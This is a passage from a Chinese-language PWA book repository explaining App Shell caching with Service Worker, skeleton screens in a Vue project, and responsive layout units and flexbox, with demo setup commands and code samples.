的官网。这是一个体验比较好的 PWA 站点，那么来分析一下这个站点是如何结合 Service Worker 和 App Shell 的。\n\n下图右侧就是 Service Worker 缓存在 [Cache Storage](https://developer.mozilla.org/en-US/docs/Web/API/CacheStorage) 中的 App Shell 内容，左侧顶上的 banner 就是 App Shell 的可见区域。整个页面的外壳部分被缓存起来，在下次访问时由 Service Worker 取出并直接返回，如果把网络断开再刷新页面，页面依然能够正常渲染。\n\n![Lavas 官网 Service Worker 缓存的 App Shell 内容](./img/lavas_official_site.png)\n\n经过我们前面的分析，App Shell 和 Service Worker 结合首屏展现速度会非常快，那么在这个案例中，首屏的性能到底如何呢，来看一下下面这张图，这张渲染性能的图是在 PC Chrome 上统计的。\n\n![Lavas 官网的首屏渲染速度](./img/lavas_official_site_performance.png)\n\n从上图中，能看到大概在时间轴 200ms 的时候，已经渲染出了 App Shell。查看浏览器统计的详细 Event Log，上图中页面首次绘制是在 230ms，再减去上一个页面的销毁时间大概 80ms，实际上当前页面从开始发送请求到首屏渲染出来所花掉的时间是 **150ms**，对于用户来说，页面几乎是瞬间呈现，没有白屏时间。并且从上图中，也能看出渲染的顺序是先 App Shell，然后再渲染出主体内容，和我们预想的一样。\n\n如果您觉得这个站点过于简单，无法体验 Service Worker 和 App Shell 结合的优势，下面列出了该团队提供的另一个较复杂的使用了 App Shell 模型的例子，也同样是体验非常良好的 PWA 站点。\n\n[https://lavas.baidu.com/12306/](https://lavas.baidu.com/12306/)，这是百度 Web 生态团队开发的一个 demo，参考中国铁路在线售票系统 12306。\n\n> 注意，这个站点只是 demo，不是 12306 官方的网站，不要输入密码等个人信息。\n\n## 如何在 Vue 项目中使用 App Shell + Service Worker\n\n第一章的例子也采用了 App Shell + Service Worker 的方式，但是没有采用任何框架辅助，在实际项目中，这样不借助任何框架编写 SPA 是比较少见的。在现代项目中，采用 Angular/React/Vue 来编写复杂 SPA 的项目占大多数，那么如何在这些框架中使用 App Shell 和 Service Worker 呢，下面我们用一个实际的例子来演示一下。\n\n### 启动示例\n\n和第一章的例子一样，您需要准备 Git，Node.js 和 npm 环境，准备完成后，可以通过下面的命令下载我们的示例，这个示例是根据 `vue-cli` 创建的很基本的 Webpack 模板，可以参考 npm 上的文档 [vue-cli 简介](https://www.npmjs.com/package/vue-cli)。\n\n```bash\n# 从 GitHub 下载代码到本地 pwa-book-demo 目录\n$ git clone https://github.com/lavas-project/pwa-book-demo.git\n\n# 进入到 chapter02/appshell 目录\n$ cd chapter02/appshell\n\n# 安装 npm 依赖\n$ npm install\n\n# 启动 chapter02 appshell 示例\n$ npm run dev\n```\n\n在命令行中看到输出 `Your application is running here: http://localhost:8080` 后\b，代表服务已经启动成功，打开浏览器，访问 `http://localhost:8080`，能看到下图所示的页面。\n\n<img src=\"./img/chapter02_demo_screenshot.png\" width=\"50%\" title=\"App Shell demo 启动成功示意图\" alt=\"App Shell demo 启动成功示意图\">\n\n这时，如果您打开 Chrome 调试工具，并定位到 Application 栏目，会发现没有注册 Service Worker，这是因为我们在开发模式下没有生成 `service-worker.js` 文件，根据我们的经验，在开发模式下启用 Service Worker 对开发调试会带来很大的影响，因为如果 Service Worker \b写的不够完善，会导致开发中\b修改后的文件得不到及时的更新，没有经验的开发者会花较多的时间来排查，因此我们的 demo 只有在编译之后才会生成 `service-worker.js` 文件。\n\n```bash\n# 编译\n$ npm run build\n# 进入到编译后的 dist 目录\n$ cd dist\n# 安装静态文件调试服务\n$ npm install -g edp\n# 在 dist 目录中启动本地静态文件服务\n$ edp ws start\n```\n\n在命令行输出了下面的文本后，即代表服务已经启动。\n\n```\nmockservice\nedp INFO EDP WebServer start, http://xxx.xxx.xxx.xxx:8848\n```\n\n打开浏览器，输入 `http://localhost:8848`，能看到调试模式下相同的页面。不同的地方在于，这个时候已经安装了 Service Worker，打开 Chrome 调试工具，定位到 Application -> Service Worker，如下图所示。\n\n![Chapter02 demo Service Worker 安装成功示意图](./img/chapter02_demo_service_worker.png)\n\n点击 Chrome 调试工具左侧的 Cache -> Cache Storage\b，能看到有两个 Cache Storage 实例，其中一个以 `sw-precache-` 开头的实例里面预缓存了 App Shell 所需的静态文件，如下图。\n\n![Chapter02 demo App Shell 缓存内容](./img/chapter02_demo_app_shell_in_cache_storage.png)\n\n\n### 示例解析\n\n#### 哪些区域是 App Shell\n\n在这个 Vue 的示例里，可见部分哪些是 App Shell 呢，我们可以查看 `src/App.vue` 文件。\n\n```html\n<template>\n  <div id=\"app\">\n    <img src=\"./assets/logo.png\">\n    <router-view/>\n    <bottom-navigation></bottom-navigation>\n  </div>\n</template>\n```\n\n熟悉 Vue 的开发者都知道 `<router-view>` 标签在 Vue 项目里是用来嵌入子路由的，`Home.vue` 和 `NextPage.vue` 是这个例子中的两个页面。\n\n可以简单的认为，\b在 `<router-view>` 标签之外的内容都可以认为是 App Shell，不仅包括上面的 img 标签，下面的 `bottom-navigation` 组件，还包括在 `<div id=\"app\">` 标签外面的内容，如 `index.html` 文件中的其他部分。\n\n![Chapter02 demo App\b Shell 和主体内容示意图](./img/chapter02_demo_appshell.png)\n\n#### 如何缓存 App Shell 内容\n\n在这个示例中，`service-worker.js` 文件是通过 SW Precache Webpack Plugin 插件生成的，可以参考 [sw-precache-webpack-plugin](https://github.com/goldhand/sw-precache-webpack-plugin#readme) 文档。代码如下所示：\n\n```javascript\n// build/webpack.prod.js #13 行\n// 引入 sw-precache-webpack-plugin 插件\nconst SWPrecacheWebpackPlugin = require('sw-precache-webpack-plugin');\n\n// build/webpack.prod.js #121 行\n// 添加 sw-precache-webpack-plugin 插件生成 Service Worker 文件\nnew SWPrecacheWebpackPlugin(config.swPrecache.build)\n```\n\n它的配置写在 `config/sw-preache.js` 文件中\b，开发者可以对它做一定的修改。\n\n编译之后，会在 `dist` 目录中生成 `service-worker.js` 文件，\b第四章中有对 Service Worker \b详细的介绍，在这里我们不必关心这个文件中过多的细节。插件生成的 Service Worker 做了很多事情，如下：\n\n* 列出了项目中静态文件列表\n* \b预缓存了 App Shell 的静态文件\n* 具有预缓存动态更新机制\n* Service Worker 的更新机制\n\n```javascript\n// 预缓存文件列表，其中包含 App Shell 所有的文件\nvar precacheConfig = [[\"/index.html\",\"cb8786927330e5bdd417a47314a7300b\"],[\"/static/css/app.5be76b7d213b43df9723e8ab15122efb.css\",\"5b0aa7a24708300b7176f0304923ab39\"],[\"/static/images/icons/icon_144x144.png\",\"4bf0757895bd1cda44ee9204fe06a661\"],[\"/static/images/icons/icon_152x152.png\",\"c69908d502224c5317453f8ae725bbf0\"],[\"/static/images/icons/icon_192x192.png\",\"c69908d502224c5317453f8ae725bbf0\"],[\"/static/images/icons/icon_512x512.png\",\"8eaee831d59442821083453b174df0f6\"],[\"/static/js/0.2dd5b370dbfb9afda866.js\",\"5455b40e8991749d4aeb904f09389394\"],[\"/static/js/1.f740f9813d49b7661238.js\",\"65b7858bacef211f345d0d88fda81092\"],[\"/static/js/app.e9b2b9e109561a7201f5.js\",\"a28433e856b3e149bac022df934eb94e\"],[\"/static/js/manifest.69fbe521a6bc723a8ce1.js\",\"c6b6fbf7902cd5325b5b1d43045db622\"],[\"/static/js/vendor.7bb72363822163e0f3b3.js\",\"38d1baa4e38eeab57826462846900d69\"],[\"/static/manifest.json\",\"a521180656694782bc69a54ee5900dfb\"]];\nvar cacheName = 'sw-precache-v3-sw-cache-chapter02-appshell-' + (self.registration ? self.registration.scope : '');\n```\n\n## 总结\n\n总结来说，App Shell 把站点内容划分为“变”和“不变”两个部分，再辅以 Service Worker 技术将“不变”的部分缓存起来，以达成快速加载页面的效果。\n\n通过 App Shell 和 Service Worker，我们有办法让“不变”的部分快速展现，那么针对“变”的部分，我们有什么办法让它展现得更快呢，或者让它“看起来”更快？在这里我们再提出另一种方案，它虽然不能在实质上提升页面的加载速度，但可以让它在感官上更快，它就是下一节要介绍的骨架屏。\n\n"
  },
  {
    "path": "chapter02/4-app-skeleton.md",
    "content": "# 骨架屏\n\n在前面的章节，我们说过，首屏速度对于用户留存率至关重要。\n\n很多站点都会在完成基本功能后（或者同时）进行性能优化，常见的性能优化手段包括静态资源合并，压缩文件，使用 CDN，包括上一小节介绍的 App Shell 等，这些的确能够显著地缩短加载时间。但是我们想象一下，在首次打开时，主体内容渲染完成之前，页面基本上是空白的，这对于用户体验是非常不友好的。如果我们用能够快速渲染的静态图片/样式/色块进行占位，让用户对后续会渲染的内容有一定的预期，这要比白屏等待要好的多，这就是骨架屏。如上一节的结尾所述，它本质上并不提升页面的加载速度，却能提升感官体验，让网页“看起来”更快。\n\n## 骨架屏长什么样\n\n您可能没听说过骨架屏这个名字，但应该很早就在其他 App 上看到过，骨架屏常见的种类有列表、图片和两者的混合。\n\n下面的图是[饿了么 Web 站点](https://h5.ele.me/msite/) 骨架屏的效果，这种效果是比较常见的类型，它使用各种形状的色块来模拟图片和文字，有些图标也会使用圆形色块。为了追求效果，还可以在色块表面添加动画效果，如波纹，看起来就像具有 loading 效果的骨架屏。\n\n![饿了么 Web 站点骨架屏效果图](./img/eleme.png)\n\n在图片居多的站点，使用低像素的图片进行占位也是一个不错的选择，图片配色及变化和原图相近即可，如果觉得生成低像素的图片成本较高，可以降级使用纯色色块代替，但色块的颜色最好和图片主体颜色相似，如果觉得这个成本还是很高，那么可以直接采用上面例子中统一颜色的色块。\n\n![低像素图片示例](./img/image_skeleton.png)\n\n骨架屏的精髓，并不是用什么来占位，而是无论什么内容占位，一定要保持渲染前和渲染后结构相似，不能差距太大，最好保持色块/图片间距一样，避免页面渲染后内容跳动。\n\n## 骨架屏能用在哪里\n\n现在的 Web 应用，从架构上来说分为前端渲染(CSR)和后端渲染(SSR)两种，骨架屏适用于前端渲染的页面，而后端渲染的页面渲染首屏时所有内容都已经存在了，因此无需骨架屏。但是，即使是后端渲染的页面有时也会存在前端渲染的区域，比如列表的加载，只要是用到 JavaScript 来渲染内容的地方，都可以选择性的使用骨架屏来占位。\n\n由于近几年 Angular/React/Vue 的推出，前端渲染的站点越来越多，它们让开发复杂 Web App 变的很简单。它们的流行也大大提高了 App Shell 和骨架屏的普适性，大部分此类站点都可以采用这种模式。\n\n## 在 Vue 项目中使用骨架屏\n\n我们以 Vue 开发的单页应用为例，在其它框架上，实现思路是一致的。在这个示例中，为了方便调试，笔者将 Service Worker 的注册逻辑删除了。\n\n开发者可以下载示例代码并启动，如下所示：\n\n```bash\n# 从 GitHub 下载代码到本地 pwa-book-demo 目录\n$ git clone https://github.com/lavas-project/pwa-book-demo.git\n\n# 进入到 chapter02/appskeleton-01 目录\n$ cd chapter02/appskeleton-01\n\n# 安装 npm 依赖\n$ npm install\n\n# 启动 chapter02 appskeleton-01 示例\n$ npm run dev\n```\n\n为了方便调试，我们将 `src/main.js` 中 Vue 实例的挂载时间推迟了 2s，在这期间，我们能看到骨架屏的效果。\n\n```javascript\n// src/main.js\nconst app = new Vue({\n  router,\n  components: { App },\n  template: '<App/>'\n})\n\nrouter.onReady(() => {\n  // 将 mount 时间延后 2s，便于查看效果\n  setTimeout(() => app.$mount('#app'), 2000)\n})\n```\n\n然后，我们需要在 `index.html` 中添加骨架屏，如下：\n\n```html\n<!-- skeleton 的内联样式 -->\n<style>\n  body {\n    margin: 0;\n  }\n  .skeleton {\n    text-align: center;\n    padding-top: 60px;\n  }\n  .skeleton-bottom {\n    position: fixed;\n    bottom: 0;\n    left: 0;\n    right: 0;\n    height: 56px;\n    box-shadow: 0 3px 14px 2px rgba(0, 0, 0, .12);\n    display: flex;\n  }\n</style>\n\n...\n\n<!-- Vue 实例挂载点 -->\n<div id=\"app\">\n  <div class=\"skeleton\">\n    <!-- 上半部分图片的占位采用缩小的图片 -->\n    <img src=\"data:image/png;base64,...\"/>\n    <div class=\"skeleton-section\">\n      <!-- 中间内容区域采用文字类型的骨架占位 -->\n      <img src=\"data:image/svg+xml;base64,...\">\n      <img src=\"data:image/svg+xml;base64,...\">\n    </div>\n    <!-- 底部导航栏采用空的结构占位 -->\n    <div class=\"skeleton-bottom\"></div>\n  </div>\n</div>\n```\n\n填写完成之后，刷新页面您能看到下图所示的骨架屏。\n\n<img src=\"./img/chapter02_demo_skeleton.png\"  width=\"50%\" alt=\"Chapter02 demo 骨架屏示意图\" title=\"Chapter02 demo 骨架屏示意图\">\n\n## 进阶优化：更快的展现骨架屏\n\n在上面的例子中，为了让骨架屏尽早展现，我们需要做到以下两点：\n\n1. 把骨架屏的 HTML 内联在 `index.html` 中，而不是用 JavaScript 来渲染\n2. 骨架屏的 CSS 最好内联，保证骨架屏在最短的时间内渲染\n\n可惜的是，尽管我们这么做了，也不一定能取得想要的结果，通过实际测试会发现骨架屏很难被用户看到，或者说它展示的时间不如预期的早。\n\n### 现状分析\n\n我们在上面的示例基础上来分析一下原因是什么。用 Chrome 调试工具中的 Performance 记录渲染流程，为了简单一些，我们可以将网络设置成 Slow 3G，会比较明显的发现骨架屏出现的时间非常短。\n\n> 为了更接近生产环境，先将示例编译之后再调试。\n\n```bash\n# 在 chapter02/appskeleton-01 目录中\n# 编译\n$ npm run build\n# 进入到编译后的 dist 目录\n$ cd dist\n# 安装静态文件调试服务\n$ npm install -g edp\n# 在 dist 目录中启动本地静态文件服务\n$ edp ws start\n```\n\n打开 Chrome 浏览器访问 `http://localhost:8848`。下图是笔者用调试工具记录的页面渲染流程，发现页面第一次渲染是在 `app.*.css` 加载完成之后。\n\n![骨架屏渲染被样式文件加载阻塞](./img/appskeleton_performance.png)\n\n按照预想，骨架屏应该在 HTML 加载完成之后立刻渲染出来，也就是在浏览器获取外链资源的同时，这也是为什么我们把骨架屏的 HTML 和样式都内联的原因，然而事与愿违，浏览器并不买账。\n\n### 浏览器做了什么\n\n熟悉浏览器的开发者很快就能理解，这与浏览器的渲染顺序有关。\n\n相信大家都整理过行李箱。在整理行李箱时，会根据每个行李的大小合理安排，大的和小的配合，填满一层再整理上面一层。如果突然有人跑来和你说电脑不用带了，要多带两件衣服，这时除了想打他之外，你还需要重新安排行李。在浏览器中，这个过程叫做重排（reflow），而那个馊主意就是新加载的样式文件。显而易见，重排的开销是很大的，需要尽力避免。\n\n既然每个 CSS 文件都可能会触发重排和重绘，那索性等待 `<head>` 中所有的外链样式文件加载完成之后再渲染，这个流程本身是没有问题的，却在骨架屏的应用中出了一些问题。\n\n页面从加载到展现的大致顺序如下：\n\n1. 加载 HTML 文件\n2. 解析 DOM\n3. 并行加载 CSS/JS 资源\n4. 如果 `<head>` 中存在外链的样式，则阻塞渲染等待样式文件加载并解析完成\n5. 如果 `<head>` 中存在外链的 script，则阻塞渲染等待 script 文件加载并执行完成\n\n在 Vue 的项目编译完成之后，`<head>` 标签中的结构如下，在 `<head>` 标签中插入了一个外链的样式文件，导致骨架屏渲染推后。\n\n```html\n<head>\n  <meta charset=utf-8>\n  <meta name=viewport content=\"width=device-width,initial-scale=1\">\n  <link rel=manifest href=/static/manifest.json> <title>PWA Chapter02 Demo - App Skeleton</title>\n  <style>\n    body {\n      margin: 0;\n      padding-top: 60px;\n    }\n    .skeleton {\n      text-align: center;\n    }\n    .skeleton-bottom {\n      position: fixed;\n      bottom: 0;\n      left: 0;\n      right: 0;\n      height: 56px;\n      box-shadow: 0 3px 14px 2px rgba(0, 0, 0, .12);\n      display: flex;\n    }\n  </style>\n  <!-- 编译后插入在 head 中的外链样式文件 -->\n  <link href=/static/css/app.5be76b7d213b43df9723e8ab15122efb.css rel=stylesheet>\n</head>\n```\n\n为了尽早展现骨架屏，我们将骨架屏渲染所需的样式和 HTML 内联，却被页面中其他的外链样式文件阻塞了渲染。拿上一节中的 Vue 示例来举例，由于浏览器解析完 DOM 之后是并行加载外链资源的，所以在样式文件加载完成之后，JavaScript 文件也基本已经加载完成，因此在骨架屏真的渲染出来之后没多久就被 JavaScript 渲染的真正内容取代，这就是为什么骨架屏出现非常靠后，效果大打折扣。\n\n所以，我们需要告诉浏览器，请放心大胆的先渲染骨架屏。\n\n### 避免样式文件的加载阻塞骨架屏的渲染\n\nWebpack 编译的 Vue 项目，会在 `index.html` 的 `<head>` 插入外链的样式文件，`<link ref=\"stylesheet\" href=\"http://xxxx\">`，这无疑会阻塞骨架屏的渲染。浏览器还提供了预加载机制，使用方法非常简单，只需将 `rel=\"stylesheet\"` 改为 `rel=\"preload\"`，浏览器会在空闲的时候加载并缓存，之后再使用就不用重复加载。\n\n这看似无关的技术，在骨架屏的应用里将起到很大的作用，因为**预加载的资源不会阻塞渲染**.\n\n我们通过这种方式告诉浏览器，先不要管 `app.xxx.css`，直接渲染后续内容，在 `app.xxx.css` 文件加载完成之后，再将它重新设置为样式文件，如下代码所示：\n\n```html\n<link rel=\"preload\" href=\"/static/css/app.5be76b7d213b43df9723e8ab15122efb.css\" as=\"style\" onload=\"this.onload=null;this.rel='stylesheet'\">\n```\n\n方法的核心是通过改变 `rel` 让浏览器重新认定这个 `<link>` 标签是样式文件，这样既不阻塞骨架屏的渲染，也能正常应用外链样式文件。\n\n### 这样就完了吗？\n\n如果不将 `<link>` 标签 `rel=\"stylesheet\"` 改为 `rel=\"preload\"`，浏览器会根据资源的书写顺序来顺序执行，即先应用外链样式，再执行外链 JavaScript 文件渲染主体内容。但是根据上面的步骤，我们使用预加载来加载样式文件，这样做的结果就是我们无法保证浏览器会先应用样式再运行 JavaScript 渲染内容，一旦 JavaScript 先执行并渲染出了内容，再应用外链样式，会导致页面重排和重绘，用户会先看到排版完全是乱的页面，再看到正常的页面，对用户体验是不小的伤害。\n\n因此，我们还需要考虑到文件加载顺序的问题，在样式文件加载完成前，即使 JavaScript 已经渲染好了内容，也先不要替换掉骨架屏，等待样式文件加载完成后，再触发 JavaScript 进行挂载。\n\n在 Vue 的项目中需要修改 `src/main.js` 和 `index.html` 文件。\n\n```javascript\n// src/main.js\nconst app = new Vue({\n  router,\n  components: { App },\n  template: '<App/>'\n})\n\n/**\n * 挂载 Vue 渲染好的 HTML 元素到 #app 中，替换掉骨架屏\n */\nwindow.mount = function () {\n  app.$mount('#app')\n}\n```\n\n```html\n<!-- index.html -->\n<link rel=\"preload\" href=\"/static/css/app.5be76b7d213b43df9723e8ab15122efb.css\" as=\"style\" onload=\"this.onload=null;this.rel='stylesheet';window.mount()\">\n```\n\n这样就好了吗？\n\n还不够完善，如果样式文件在 JavaScript 文件之前加载，那么 `mount` 函数还没有声明，执行会出错，最终也导致主体内容没有渲染到页面上。还需要完善，增加一个标记告诉 JavaScript 样式是否加载完成，经过改造代码如下，同样还是 `src/main.js` 和 `index.html` 文件。\n\n```javascript\n// src/main.js\nconst app = new Vue({\n  router,\n  components: { App },\n  template: '<App/>'\n})\n\n/**\n * 挂载 Vue 渲染好的 HTML 元素到 #app 中，替换掉骨架屏\n */\nwindow.mount = function () {\n  app.$mount('#app')\n}\n\n// 如果样式文件已经加载完成了，直接挂载\nif (window.STYLE_READY) {\n  window.mount()\n}\n```\n\n```html\n<!-- index.html -->\n<link rel=\"preload\" href=\"/static/css/app.5be76b7d213b43df9723e8ab15122efb.css\" as=\"style\" onload=\"this.onload=null;this.rel='stylesheet';window.STYLE_READY=1;window.mount&&window.mount();\">\n```\n\n考虑到浏览器不支持 JavaScript 的情况，那么还需要增加一个 `<noscript>` 标签。\n\n```html\n<link rel=\"preload\" href=\"/static/css/app.5be76b7d213b43df9723e8ab15122efb.css\" as=\"style\" onload=\"this.onload=null;this.rel='stylesheet';window.STYLE_READY=1;window.mount&&window.mount();\">\n<noscript><link href=\"/static/css/app.5be76b7d213b43df9723e8ab15122efb.css\" rel=\"stylesheet\"></noscript>\n```\n\n经过这番改造之后，我们再来看一下在 Chrome 中的表现，这个示例是在 Fast 3G 网络环境下展现的，如下图所示。骨架屏在 650ms 左右的时刻渲染完成，而样式文件是在 1200ms 左右才加载完成，没有阻塞骨架屏的渲染，符合期望。\n\n![骨架屏渲染没有被样式文件加载阻塞](./img/appskeleton_performance_after.png)\n\n### 如何在 Vue 项目中使用骨架屏\n\n如果让开发者在 Vue + Webpack 项目中进行上面的改写，代价是比较高的，为此，百度 Web 生态团队写了一个 Webpack 插件，[vue-skeleton-webpack-plugin](https://github.com/lavas-project/vue-skeleton-webpack-plugin)。\n\n## 总结\n\n骨架屏从优化关键渲染路径思路出发，配合 App Shell 和 Service Worker 等技术，进一步优化页面在加载阶段的感知体验。通过本节学习示例，我们看到配合 Vue/Webpack 等一系列技术，为应用添加骨架屏可以变得更加简单。\n\n"
  },
  {
    "path": "chapter02/5-responsive-design.md",
    "content": "# 响应式布局\n\n自从进入移动互联网时代，响应式布局这个词经常出现在 Web 设计和开发领域，它让 Web 页面在不同尺寸的设备上都具有良好的浏览体验。\n\n## 开始之前\n\n在讲解响应式布局之前，需要先了解一下基础知识，只有对它们都有一定的了解，才能在做响应式布局时选取合适的技术方案。\n\n### 像素\n\n像素这个单位很常见，指的是图像中最小的单位，一个不可再分割的点，在计算机屏幕上一般指屏幕上的一个光点。例如常见的描述中 iPhone X 的分辨率是 1125x2436，一般指的是在长和宽上像素点的个数。但是在 Web 开发中，我们知道 iPhone X 的像素是 375x812，那么这又是怎么回事呢？这里需要讲到设备像素（Device Pixels）和虚拟像素，也可以叫 CSS 像素（CSS Pixels）或者逻辑像素，后面我们统一使用 CSS 像素这个称呼，在 Android 开发中可以叫设备无关像素（Device Independent Pixel，简写 dip）。设备像素很好理解，对应屏幕上光点的数量。\n\n在科技发展到今天，屏幕分辨率已经达到人眼无法区分单个像素的程度，人眼无法在 iPhone X 宽不到 7cm 的屏幕上数出 1125 个像素点。Web 开发人员眼中的 1px 可能对应多个设备像素，Peter-Paul Koch 在他的博文中有详细的讲解《[A pixel is not a pixel is not a pixel](https://www.quirksmode.org/blog/archives/2010/04/a_pixel_is_not.html)》。\n\n比如在 iPhone X 上，设备像素是 1125x2436，而 CSS 像素是 375x812，那么一个 CSS 像素对应的是长和宽各 3 个设备像素，9个设备像素点。\n\n    1 css pixel = 3 x 3 device pixels\n\n那个这个比值 3 就是我们平时所说的设备像素比（Device Pixel Ratio），简称为 DPR。DPR 它并不是一个单位，而是一个比值，这个比值可以在浏览器中通过 JavaScript 代码获取。\n\n```javascript\n// 设备像素比，在 iPhone X 中等于 3，在 iPhone 6 中等于 2\nwindow.devicePixelRatio\n```\n\n### EM vs REM\n\n#### EM\n\nEM 是相对单位，相对于元素自身的 `font-size`，它不像像素是固定的单位，因此很适合用来做响应式布局。\n\n```html\n<style>\nh1 {\n  font-size: 20px;\n  margin: 1em; /* 1em = 20px */\n}\np {\n  font-size: 14px;\n  padding: 1em; /* 1em = 14px */\n}\n.outer {\n  font-size: 12px;\n}\n.inner {\n  font-size: 2em;\n  padding: 1em; /* 1em = 24px*/\n}\n</style>\n<div class=\"outer\">\n  <div class=\"inner\"></div>\n</div>\n```\n\n如果当前元素没有设置 `font-size`，那么 1em 实际大小是多少？\n\n```css\np {\n  padding: 1em; /* 1em 等于多少像素*/\n}\n```\n\n在上面的代码中没有设置 `<p>` 的 `font-size`，它会从继承父元素的字体大小，如果父元素也没有设置字体大小，会一直找到根元素 `<html>`，而 `<html>` 元素的默认 `font-size` 一般是 16px。有的元素有默认的字体大小，比如 `<h1>` 的 `font-size` 默认等于 2em，最终计算还是会追溯到最外层。\n\n```html\n<html>\n<head></head>\n<body>\n  <p>1em = 16px</p>\n</body>\n</html>\n```\n\n#### REM\n\nREM = Root EM，顾名思义就是相对于根元素的 EM，是根据根元素来计算出CSS 像素点的大小。根元素就是 `<html>`，而它的默认字体大小是 16px。\n\n```css\nh1 {\n  font-size: 20px;\n  margin: 1rem; /* 1rem = 16px */\n}\np {\n  font-size: 1rem; /* 1rem = 16px */\n}\n```\n\n所以，如果我们改变根元素的字体大小，页面上所有使用 rem 的元素都会被重新计算元素属性并重绘。\n\n#### EM vs REM\n\nEM 和 REM 都是相对单位，两者都可以用来做响应式布局的单位。根据它们的特性，EM 和 REM 互有优劣。\n\n* EM - 对于模块化的页面元素比较好，比如 Web Components 标签，标签内的元素都根据父元素计算像素大小，只需设置最外层父元素的字体大小可同时影响子元素，保持自定义元素具有一定的模块封闭性。但，EM 比较难以追溯，需要逐层向上排查显示设置了字体大小的元素。\n* REM - 方便是 REM 最大的好处，只需知道 `<html>` 的字体大小即可计算当前的实际像素大小。\n\n有的开发者全部都用 REM，有些开发者全部用 EM，这其实都是不合理的用法。开发者应该视情况不同采用不同的单位，但在现在的环境下，REM 使用的更广泛一些。\n\n开发者根据设计师提供的 UE 图进行开发时，测量出来的大小单位一般是像素，如果需要转换为 REM，可以采用 PostCSS 的插件 `postcss-px2rem` 自动转换为 rem 单位。\n\n### `vw`, `vh`，百分比\n\n#### `vw` 和 `vh`\n\nvw 和 vh 现在还不常见，但也逐渐开始被开发者使用，特别是在布局上。\n\n* vw - viewport width，视口宽度，1vw = 1% 视口宽度\n* vh - viewport height，视口高度，1vh = 1% 视口高度\n\nvw 和 vh 的逻辑比较简单，100vw = 100% 视口宽度，视口（viewport）会在后面详细讲解。下面的代码演示如何在 iPhone X 上计算 vw 的实际 CSS 像素大小，vh 的计算方法和 vw 一样。\n\n```html\n<html>\n<head>\n  <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n  <style>\n  p {\n    width: 50vw; /* 1vw = 1 / 100 * 375px = 3.75px */\n  }\n  </style>\n</head>\n<body>\n  <p>50vw = 50% viewport width = 50% * 375px = 187.5px</p>\n</body>\n</html>\n```\n\n浏览器对 vw 和 vh 支持相对较晚，目前在 Android 4.4 以下的 Android Browser 上还不支持，但是国内主流应用的 WebView 内核都是自己定制的，内核版本都高于系统自带的，因此在国内 vw 和 vh 的支持度比 Can I Use 统计的要高很多，而且随着版本的推移，vw 和 vh 会更流行。\n\n![Can I Use 统计的 vw 和 vh 支持度列表](./img/vw_vh_compability.png)\n\n#### `vw`, `vh` vs 百分比\n\n现在我们知道了，1vw = 1% 视口宽度，那么它们是不是等价呢？我们先来看一下下面的代码，同样还是以 iPhone X 为例。\n\n```html\n<html>\n<head>\n  <meta name=\"viewport\" content=\"width=device-width, initial-scale=1\">\n  <style>\n  .p1 {\n    width: 50vw; /* 1vw = 1 / 100 * 375px = 3.75px */\n  }\n  .outer {\n    width: 80vw;\n  }\n  .p2 {\n    width: 50%;\n  }\n  </style>\n</head>\n<body>\n  <p class=\"p1\">50vw = 187.5px</p>\n  <section class=\"outer\">\n    <p class=\"p2\">50% = 150px</p>\n  </section>\n</body>\n</html>\n```\n\n将上面的代码在浏览器中运行，发现第二个 `<p>` 标签的实际宽度为 150px，不是 187.5px。其实原理非常简单，就和 EM 和 REM 一样，百分比相对于父元素的宽度来计算，而 `vw` 根据视口的宽度来计算。\n\n所以再回顾上面的例子中的第二个 `<p>` 标签，`.outer` 元素的宽度为 80vw = 300px，那么其子 `<p>` 标签的宽度为 300px * 50% = 150px。\n\n除 vw 和 vh 外，还有 vmin 和 vmax 元素，这里就不继续展开，感兴趣的开发者可以访问 《[Fun with Viewport Units](https://css-tricks.com/fun-viewport-units/)》了解更多，这篇文章中对 vw 和 vh 讲的很详细，还有不少示例。\n\nWeb 开发中还有很多其他的单位，如 in（英尺），mm（毫米），cm（厘米）等，但因为使用的不多，开发者仅作了解就可以。\n\n### 弹性框\n\n上面我们讲到了百分比和 vw/vh，它们都可以用来实现响应式的布局，但是不如我们接下来要讲的弹性框灵活，它不是单位，而是一种布局方式。\n\n区别于传统的布局方式，如标准文档流、浮动布局和定位布局，弹性框（flexbox）布局更加灵活，弹性框中的元素可以弹性伸缩，可以定义排版方向，还可以指定 flex 元素的顺序。下面是一个简单的例子。\n\n```html\n<style>\n.container {\n  display: flex; /* 设置容器为弹性布局 */\n}\n.box {\n  width: 100px;\n  height: 30vh;\n}\n.b1 {\n  background: #009;\n}\n.b2 {\n  background: #06c;\n}\n.b3 {\n  background: #39f;\n}\n.b4 {\n  background: #6cf;\n  width: 50px;\n}\n</style>\n<div class=\"container\">\n  <div class=\"box b1\"></div>\n  <div class=\"box b2\"></div>\n  <div class=\"box b3\"></div>\n  <div class=\"box b4\"></div>\n</div>\n```\n\n上面的例子在浏览器中的表现如下图所示，我们能看到，每个 `<div>` 元素都是横排，这是因为弹性布局默认排列为横向排列，我们可以通过 `flex-direction` 属性决定排列方向，同时在小于 350px 宽的浏览器里，会按比例自动缩小每个 `<div>` 的宽度。\n\n![弹性框在不同宽度浏览器下的表现](./img/flexbox_display.png)\n\n从上面的例子中，\b能发现，有两个重要的角色需要开发者关注，一个是容器，一个是其子元素。\n\n#### 容器样式属性\n\n容器指的是 `display: flex` 的元素，它可以定义其他的属性，决定子元素的排列，如下。\n\n* `flex-direction` - 定义主轴方向，即子元素的排列方向，取值为 `row`, `row-reverse`, `column` 和 `column-reverse`，默认为 `row`，即水平从左到右\n* `flex-wrap` - 默认情况下，弹性布局会将所有元素都压缩到一行，可以通过设置 `flex-wrap` 告诉浏览器在适当时候换行，取值为 `nowrap`, `wrap` 和 `wrap-reverse`，默认为 `nowrap`\n* `flex-flow` - 这个属性值是 `flex-direction` 和 `flex-wrap` 的简写，如 `flex-flow: row nowrap`，等价于 `flex-direction: row; flex-wrap: nowrap`\n* `justify-content` - 定义子元素在主轴上对齐方式，取值为 `flex-start`, `flex-end`, `center`, `space-between`, `space-around`，默认为 `flex-start`\n* `align-items` - 定义子元素在垂直于主轴的交叉轴的排列方式，取值为 `stretch`, `flex-start`, `flex-end`, `center`, `baseline`，默认为 `stretch`，即如果没设置高度，将填满交叉轴方向\n* `align-content` - 定义了\b子元素在多条轴线上的对齐方式，如果只使用了一条轴线，那该属性不起作用，取值为 `flex-start`, `flex-end`, `center`, `space-between`, `space-between`, `space-around` 和 `stretch`，默认为 